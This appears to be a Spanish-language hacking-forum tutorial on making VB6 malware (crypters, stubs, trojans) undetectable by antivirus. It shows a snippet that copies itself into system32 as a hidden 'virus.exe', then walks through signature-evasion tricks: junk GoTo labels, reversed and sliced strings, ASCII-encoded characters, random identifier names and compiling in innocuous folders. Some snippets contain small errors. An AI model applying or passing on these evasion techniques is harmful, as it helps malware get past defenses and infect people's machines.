Como indetectar un crypter, virus, stub, troyano por source VB6

Empezare mostrando un pequeño code con el que explicare las tecnicas para dejarlo FUD (El code no es detectado pero enseñare el procedimiendo para dejar fud un code que sea detectado)
NOTA: No he probado todos los codes, asi que algún error me lo hacen saber :xD

Código:

Dim ruta As String
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", ruta
Close 1#

Lo primero que podemos hacer (y los mas sencillo) para quitarnos algunas firmas es agregar junk, y basicamente estamos agregando code inutil

Código:

Dim ruta As String
GoTo HJNCEUHH' entre cada linea agregamos un goto "caracteres aletorios"
HJNCEUHH:       ' y justo debajo los mismos caracteres aleatorios
ruta = Environ("windir") & "\system32\virus.exe"
GoTo RV87N7Ysss
RV87N7Ysss:
FileCopy App.Path & "\" & App.EXEName & ".exe", ruta
GoTo dichuwuiodcioaiofcu
dichuwuiodcioaiofcu
SetAttr ruta, vbHidden

Otra forma es invirtiendo strings

Código:

Dim ruta As String
ruta = Environ("windir") & StrReverse("exe.suriv\23metsys\")' con StrReverse invertiremos strings
FileCopy App.Path & "\" & App.EXEName & StrReverse("exe."), ruta
SetAttr ruta, vbHidden

O colocando partes de string (no se si me explico) puede ser con left(), right(), o Mid()

Código:

Dim ruta As String
[b]Dim extensión As String
extensión = ".exebasura"
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & Left(extensión, 4), ruta 'aqui agarramos los 4 primeros caracteres de "extensión" que son .exe
SetAttr ruta, vbHidden

Otro metodo es colocando los caracteren en ascii

Código:

Dim ruta As String
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & Chr(46) & Chr(101) & Chr(120) & Chr(101), ruta ' .exe en ascii
SetAttr ruta, vbHidden
Open ruta For Binary As 1#
Print 1#, "VIRUSXD"
Close 1#

Cambiar los nombres de los modulos y de los forms

Un metodo muy simple de la modificacion de strings, en este caso reemplaze la string ruta por wixadiaixdiawuhxdiahu

Código:

Dim wixadiaixdiawuhxdiahu As String
wixadiaixdiawuhxdiahu = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", wixadiaixdiawuhxdiahu
SetAttr wixadiaixdiawuhxdiahu, vbHidden
Open wixadiaixdiawuhxdiahu For Binary As 1#
Print 1#, "VIRUSXD"
Close 1#

Lo mismo podemos hacer con las funciones y los subs

CODE original:

Código:

Function random(ByVal Caracteres As Long)
Dim randoms As String
For i = 1 To Caracteres
randoms = randoms & Mid("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZ1234567890", Int((62 * Rnd) + 1), 1)
Next i

CODE con functions random:

Código:

Function sjudjsjjscsshudjfsj(ByVal chiuashcuhu As Long)
Dim hshdsdshdahuudau As String
For i = 1 To chiuashcuhu
hshdsdshdahuudau = hshdsdshdahuudau & Mid("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZ1234567890", Int((62 * Rnd) + 1), 1)
Next i

y por ultimo compilarlo en carpetas que no tengan nombres como virus, malware, stub y cosas asi, por que al compilarlo te guarda en el exe la ruta donde fue compilado. (Ojala en C:\)

Bueno, espero que a alguien le sirva.

Saludos